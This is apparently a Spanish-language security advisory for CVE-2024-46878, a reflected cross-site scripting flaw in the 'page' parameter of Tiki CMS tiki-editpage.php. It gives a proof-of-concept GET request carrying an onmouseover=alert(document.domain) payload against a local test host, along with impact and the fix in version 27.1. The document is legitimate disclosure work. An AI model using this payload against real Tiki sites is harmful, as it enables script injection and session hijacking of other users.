CVE-2024-46878 - Vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en Tiki CMS

Vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en el parámetro 'page' de Tiki CMS

Descargo de responsabilidad

Diseñado únicamente para fines educativos, de investigación y defensivos. El uso no autorizado contra sistemas sin permiso es ilegal.

Resumen

Existe una vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en el parámetro page de tiki-editpage.php en Tiki versión 26.3 y anteriores. Esta vulnerabilidad permite a los atacantes ejecutar código JavaScript arbitrario mediante un payload manipulado, lo que puede conducir al acceso a información sensible o a acciones no autorizadas.

Producto(s) afectado(s)

Producto: Tiki CMS Groupware
Versiones: 26.3 y anteriores
Componente: tiki-editpage.php

Detalles de la vulnerabilidad

La vulnerabilidad se debe a una sanitización inadecuada de la entrada del parámetro page en tiki-editpage.php. La entrada proporcionada por el usuario se refleja en la respuesta HTTP sin la codificación suficiente, lo que permite la ejecución de JavaScript inyectado.

Impacto

Permite a un atacante autenticado ejecutar JavaScript arbitrario en el navegador de otro usuario mediante una solicitud manipulada, lo que potencialmente conduce al secuestro de sesión o a acciones no autorizadas.

Prueba de Concepto (PoC)

Solicitud

GET /tiki-editpage.php?page=%22%20onmouseover%3Dalert(document.domain)%20 HTTP/1.1
Host: 127.0.0.1:9089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: local_tz=Asia%2FKolkata; PHPSESSIDCV=51zQV%2BMxUnJxFY9nnRP%2FFg%3D%3D; javascript_enabled=y; PHPSESSID_CSRF=t2A6i9BjH1QHEH8KaLag0jtgT4dK9TTzyn8sOcRVwg9SMycfxWjoeYFmTykOfVjNPotrBKqsizXJ%2BrYcEXci8QPZxiSyBwA5YFLRS1S2RgxeTAI%3D; PHPSESSID=e19c8b25df427a7892245dc919be2067
Upgrade-Insecure-Requests: 1
Priority: u=0, i

poc

Mitigación

El problema se ha solucionado en Tiki CMS Groupware versión 27.1. Se recomienda a los usuarios actualizar a esta versión o a una posterior con el parche aplicado.

Referencia del proveedor: https://tiki.org/article514-New-Security-Updates-Released-for-Tiki-27-x-LTS-26-x-and-24-x-LTS-and-Upgrade-is-Strongly-Recommended

CVE-2024-46878-TikiCMS-XSS

Más Populares